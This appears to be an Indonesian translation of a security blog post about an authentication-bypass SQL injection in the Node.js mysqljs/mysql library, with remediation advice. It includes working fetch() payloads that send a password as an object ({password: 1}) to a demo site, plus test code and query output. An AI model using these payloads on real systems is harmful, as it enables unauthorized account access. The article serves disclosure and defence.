SQL Injection Unseen Dengan Membypass Fungsi Escape Di mysqljs/mysql
Hal yang tak terduga dalam fungsi query escape menyebabkan SQL injection menjadi salah satu paket MySQL terpopuler di ekosistem Node.js, mysqljs/mysql (https://github.com/mysqljs/mysql). Ternyata ada kemungkinan.
Biasanya, function query escape atau placeholder yang digunakan untuk mencegah injeksi SQL. Namun, mysqljs/mysql diketahui memiliki metode escape yang berbeda pada tipe nilai yang berbeda, dan pada akhirnya dapat menyebabkan hal yang tak terduga ketika penyerang melewati parameter dengan tipe nilai yang berbeda. Termasuk perilaku buggy dan injeksi SQL.
Hampir semua tutorial pengembangan online dan panduan keamanan dapat menyesatkan, yang dapat memengaruhi banyak proyek Node.js yang bergantung pada pustaka ini.
Sebagian besar pemindai dan muatan injeksi SQL otomatis tidak mencari kasus seperti itu pada saat penulisan, sehingga kata "tidak terlihat" telah ditambahkan ke judul.
Perhatikan bahwa connection.escape(), mysql.escape() dan pool.escape() dipengaruhi oleh pendekatan yang sama.
Kode berikut adalah contoh yang rentan pada hasil teratas Tutorial Pengembangan Node.js Express pada pencarian google.
...
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
...
Kode di atas terlihat aman pada pandangan pertama. Namun, spesifikasi paket Express memungkinkan Anda untuk melewatkan nama pengguna atau password dengan tipe nilai yang berbeda seperti Obyek, Boolean, dan Array.
Kode berikut adalah contoh skrip eksploit yang melewati password sebagai Objek dan mengabaikan otentikasi.
*
Running the following code in your browser will execute the following code in the backend.
> SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
And the executed query will eventually be simplified into the following query
> SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
> SELECT * FROM accounts WHERE username = 'admin';
*/
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("https://sqli.demo.flatt.fe.gy/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
Seperti yang Anda lihat dalam kode di atas, ketika parameter password dilewatkan sebagai Objek, query SQL berubah secara tidak terduga.
Untuk memperbaiki ini, lakukan setidaknya satu dari dua solusi yang tercantum di bawah ini.
- Tambahkan stringifyObjects: Tentukan true di mysql.createConnection untuk mencegah keluaran agar tidak lolos secara tak terduga dengan tipe Objek. (Harus)
- HARUS menambahkan pemeriksaan tipe sebelum menjalankan queri
var connection = mysql.createConnection({
...,
stringifyObjects: true,
});
...
Jika Anda mengalami masalah dengan solusi sebelumnya, atau jika Anda ingin meningkatkan keamanan proyek Anda, sebaiknya tambahkan pemeriksaan tipe sebelum menjalankan query.
Namun, menambahkan type checks dalam semua kasus dapat menambah biaya pengembangan dan pemeliharaan. Juga, jika Anda tidak benar-benar tahu apa yang terjadi dalam kode Anda, Anda mungkin mengalami masalah tak terduga lainnya.
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
// Reject different type
if (typeof username != "string" || typeof password != "string"){
response.send("Invalid parameters!");
response.end();
return;
}
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
Kata pengantar
Kali ini, kami tahu bahwa banyak aplikasi web Node.js akan terpengaruh, jadi kami memutuskan untuk menulis dan membagikan pengetahuan kami tentang injeksi SQL tak terlihat. Namun, tidak banyak orang yang menyadari kerentanan ini.
Trik injeksi SQL ini pertama kali diperkenalkan ke publik sebagai tantangan CTF (Cyber Security Competition) online. Namun, kerentanan ini telah diketahui oleh banyak peneliti keamanan web untuk waktu yang sangat lama, dan banyak yang diam-diam menggunakan trik ini untuk pengujian penetrasi pribadi dan serangan terhadap layanan web.
Dari sudut pandang pengembang dan insinyur keamanan, sulit untuk menemukan bug seperti itu, jadi saya memutuskan untuk menulis kerentanan ini sebagai "tidak terlihat". Bagaimanapun, metode escape dianggap sebagai praktik terbaik untuk mencegah injeksi SQL di sebagian besar paket terkait SQL di banyak bahasa. Asumsi ini membuat hampir sulit untuk menemukan kerentanan ini tanpa menyelidiki dependensi yang terpengaruh.
Exploit demonstrasi
Contoh proyek rentan yang digunakan di seluruh artikel ini dirujuk dari tutorial tingkat atas di Google Penelusuran. (Https://codeshack.io/basic-login-system-nodejs-express-mysql/)
Demi kenyamanan Anda, saya menulis docker-compose.yml, dan Anda mungkin dapat menjalankan kode ini dengan cepat di mesin Anda. https://github.com/stypr/vulnerable-nodejs-express-mysql
Anda juga dapat mengakses https://sqli.demo.flatt.fe.gy/ untuk tujuan pengujian dengan membuat contoh langsung dari sampel.
Contoh layanan web ini memiliki tiga titik akhir:
Harap dicatat bahwa tidak ada fitur pendaftaran yang tersedia dalam source code.
Tabel accounts memiliki baris berikut:
Alur otentikasi adalah sebagai berikut. Seperti yang Anda lihat, kode tersebut tampak aman pada pandangan pertama.
app.post("/auth", function (request, response) {
// Capture the input fields
let username = request.body.username;
let password = request.body.password;
// Ensure the input fields exists and are not empty
if (username && password) {
// Execute SQL query that'll select the account from the database based on the specified username and password
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
// If there is an issue with the query, output the error
if (error) throw error;
// If the account exists
if (results.length > 0) {
// Authenticate the user
request.session.loggedin = true;
request.session.username = username;
// Redirect to home page
response.redirect("/home");
} else {
response.send("Incorrect Username and/or Password!");
}
response.end();
}
);
} else {
response.send("Please enter Username and Password!");
response.end();
}
});
Sekarang mari kita buka alat pengembang Chrome dari browser Anda. Anda dapat menangkap permintaan dan tanggapan HTTP di alat pengembangan Anda dengan mengklik tab Jaringan/network. Anda juga dapat menggunakan fitur-fiturnya menggunakan browser favorit Anda.
Setelah memasukkan nama pengguna dan password di situs web, titik akhir otentikasi akan ditampilkan di alat pengembang.
Kemudian copy permintaan otentikasi sebagai kode fetch() dan jalankan sebagai kode JavaScript. Untuk melakukan ini, klik kanan titik akhir dan klik copy->copy as fetch.
Lalu buka tab Console dan salin dan tempel kodenya. Kodenya terlihat seperti ini:
fetch("https://sqli.demo.flatt.fe.gy/auth", {
"headers": {
"accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
...
},
...
"body": "username=admin&password=12341234test",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Mari kita hapus informasi verbose dari kode untuk pengujian yang mudah dan eksekusi kode.
fetch("https://sqli.demo.flatt.fe.gy/auth", {
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: "username=admin&password=12341234test",
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
Anda memberikan kredensial yang tidak valid, seperti yang ditunjukkan di bawah ini, yang mengembalikan kesalahan username dan / atau password yang salah.
Sekarang mari kita ubah kodenya sedikit untuk melewati otentikasi. Sekarang ubah parameter password menjadi password[password] dan buat parameter sebagai Objek, bukan String.
fetch("https://sqli.demo.flatt.fe.gy/auth", {
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: "username=admin&password[password]=1",
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
Anda dapat mengakses account administrator dengan menjalankan kode di atas.
Untuk mengonfirmasi, Kami dapat mengakses titik akhir /home dan melihat apakah kami masuk sebagai admin.
Atau, Anda dapat meneruskan data sebagai JSON dan mengabaikan otentikasi.
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("https://sqli.demo.flatt.fe.gy/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
Jadi apa yang menyebabkan bypass otentikasi?
akar masalah
Pertama, periksa dokumentasi resmi untuk melihat cara kerja fitur escape.
https://github.com/mysqljs/mysql/blob/master/Readme.md#escaping-query-valuesSeperti yang dijelaskan dalam dokumentasi resmi, jenis nilai diloloskan secara berbeda tergantung pada jenis nilai yang Anda berikan ke parameter.
Untuk menghindari serangan injeksi SQL, data yang diberikan pengguna harus selalu diloloskan sebelum dapat digunakan dalam query SQL. Ini dapat dilakukan dengan menggunakan metode mysql.escape(), connection.escape(), atau pool.escape().
… (snipped) …
Jenis nilai yang berbeda diloloskan secara berbeda. Metodenya adalah sebagai berikut.
- Angkanya tetap sama
- Nilai Boolean diubah menjadi true/false
- Objek tanggal diubah menjadi string "YYYY-mm-ddHH: ii: ss"
… (snipped) …
… (snipped) …
… (snipped) …
function escape dimuat dari mysqljs/sqlstring (https://github.com/mysqljs/sqlstring), dari sana Anda dapat melihat bahwa escaping ini dilakukan secara berbeda tergantung pada jenis nilainya.
lib/SqlString.js
SqlString.escape = function escape(val, stringifyObjects, timeZone) {
if (val === undefined || val === null) {
return 'NULL';
}
switch (typeof val) {
case 'boolean': return (val) ? 'true' : 'false';
case 'number': return val + '';
case 'object':
if (val instanceof Date) {
return SqlString.dateToString(val, timeZone || 'local');
} else if (Array.isArray(val)) {
return SqlString.arrayToList(val, timeZone);
} else if (Buffer.isBuffer(val)) {
return SqlString.bufferToString(val);
} else if (typeof val.toSqlString === 'function') {
return String(val.toSqlString());
} else if (stringifyObjects) {
return escapeString(val.toString());
} else {
return SqlString.objectToValues(val, timeZone);
}
default: return escapeString(val);
}
};
...
SqlString.objectToValues = function objectToValues(object, timeZone) {
var sql = '';
for (var key in object) {
var val = object[key];
if (typeof val === 'function') {
continue;
}
sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
}
return sql;
};
Berdasarkan pedoman resmi, mari kita tulis beberapa kode contoh untuk melihat apa yang terjadi ketika kita meneruskan tipe nilai yang berbeda ke placeholder.
/*
main.js
Test code for different types
*/
var mysql = require("mysql");
// connection
var connection = mysql.createConnection({
host: "localhost",
user: "login",
password: "login",
database: "login",
});
// log query
connection.on("enqueue", function (sequence) {
if ("Query" === sequence.constructor.name) {
console.log(sequence.sql);
}
});
// username and password
var username = "admin";
var password_list = [
12341234, // Numbers
true, // Booleans
new Date("December 17, 1995 03:24:00"), // Date
new String("test_password_string"), // String Object
"test_password_string", // String
["array_test_1", "array_test_2"], // Array
[
["a", "b"],
["c", "d"],
], // Nested Array
{ obj_key_1: "obj_val_1" }, // Object
undefined,
null,
];
// What will happen?
for (i in password_list) {
var sql = "SELECT * FROM accounts WHERE username = ? AND password = ?";
connection.query(
sql,
[username, password_list[i]],
function (error, results, fields) {}
);
}
Saat Anda menjalankan kode, Anda akan melihat bahwa query lolos secara berbeda bergantung pada jenis nilai parameter.
$ node main.js
SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234
SELECT * FROM accounts WHERE username = 'admin' AND password = true
SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000'
SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2'
SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd')
SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1'
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
Seperti yang Anda lihat, beberapa tipe (terutama tipe objek) berisi pengenal yang dikutip saat diloloskan oleh fungsi escape. Pengidentifikasi yang dikutip digunakan untuk menunjukkan database, tabel, kolom, dan sebagainya. Ini memungkinkan Anda untuk mereferensikan tabel atau kolom lain dalam query Anda.
Sekarang mari kita ubah obj_key_1 dan obj_val_1 satu per satu.
Bagaimana jika password = `obj_key_1` diubah menjadi password =` password`? password untuk pengenal yang dikutip dianggap sebagai kolom, jadi hasil akhirnya adalah password = password, dan mereturn nilai 1(benar). ini mirip dengan mengevaluasi 1 = 1 dalam query.
mysql> select password = `password` from accounts;
+-----------------------+
| password = `password` |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.00 sec)
Sekarang, jika Anda mengubah obj_val_1 ke nomor 1 pada query, Anda akan mendapatkan (1 = 1) = 1 dan akhirnya mengembalikan nilai1.
mysql> select password = `password` = 1 from accounts;
+---------------------------+
| password = `password` = 1 |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
Karena 1 dianggap benar, pemeriksaan password selalu dikembalikan sebagai valid dan dapat melewati otentikasi.
Oleh karena itu, jika parameter sandi diteruskan sebagai {'password': 1}, pada akhirnya akan diubah menjadi `password` = 1 dan pada akhirnya akan melewati logika otentikasi.
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | [email protected] |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | [email protected] |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | [email protected] |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
Memperbaiki
Ada dua solusi utama yang tersedia untuk memperbaiki masalah ini.
Solusi 1: Tambahkan opsi stringifyObjects saat createConnection dipanggil
Menambahkan opsi "stringifyObjects":true saat memanggil mysql.createConnection pada akhirnya akan memblokir semua hal yang tak terduga saat Objek dilewatkan sebagai parameter.
Namun, ini dapat memengaruhi semua query yang ada di proyek Anda dan dapat menyebabkan masalah lain saat beberapa query benar-benar melewati parameter Objek. Atau, Anda dapat memeriksa solusi 2.
Sebelumnyavar connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
});
...
sesudahnya
var connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
stringifyObjects: true,
});
...
Solusi 2: Tambahkan pemeriksaan tipe
Solusi 1 mungkin merupakan cara yang paling efisien dan efektif untuk memecahkan masalah ini.
Namun, solusi sebelumnya hanya memblokir hal yang tak terduga dari objek. Jenis lain seperti array, array array, dan nilai Boolean diloloskan secara berbeda berdasarkan jenis nilainya, yang dapat menyebabkan masalah tak terduga. Solusi sebelumnya menyebabkan hal yang tak terduga lainnya dalam banyak kasus yang jarang terjadi.
Oleh karena itu, disarankan untuk menambahkan kode cek tipe untuk membuat kode lebih ketat. Kerugian dari solusi ini adalah bisa sangat memakan waktu dan mahal untuk menambahkan kode pemeriksaan tipe untuk memelihara proyek. Anda mungkin juga melewatkan pemeriksaan tipe saat menulis kode.
sebelumnyaapp.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
sesudahnya
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
// Reject different value types
if (typeof username != "string" || typeof password != "string"){
response.send("Invalid parameters!");
response.end();
return;
}
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
Kesimpulan
Seperti yang Anda lihat dalam kasus ini, bahkan jika paket yang paling tepercaya digunakan dengan teknik keamanan terbaik, ada kerentanan yang tidak terlihat.
Harap baca panduan resmi dengan cermat untuk mengetahui apa yang mungkin memengaruhi keamanan Anda. Banyak paket di ekosistem Node.js dapat menangani data non-primitif secara internal, jadi sebaiknya tambahkan pemeriksaan tipe. Memeriksa jenis nilai yang diteruskan oleh pengguna selalu sangat penting dalam banyak bahasa, jadi hal yang tak terduga seperti itu tidak terbatas pada paket Node.js.
Dari sudut pandang insinyur keamanan, saya pribadi merekomendasikan menjalankan tes kotak putih pada layanan web Node.js. Ini karena ada terlalu banyak dependensi dan kerentanan tak terlihat yang terkait dengan perubahan tipe nilai. Serangan seperti itu dengan perubahan tipe nilai umumnya sulit dideteksi dan dideteksi oleh pengujian kotak hitam dengan pemindai kerentanan otomatis.
Terimakasih telah membaca artikel ini.
sumber : https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4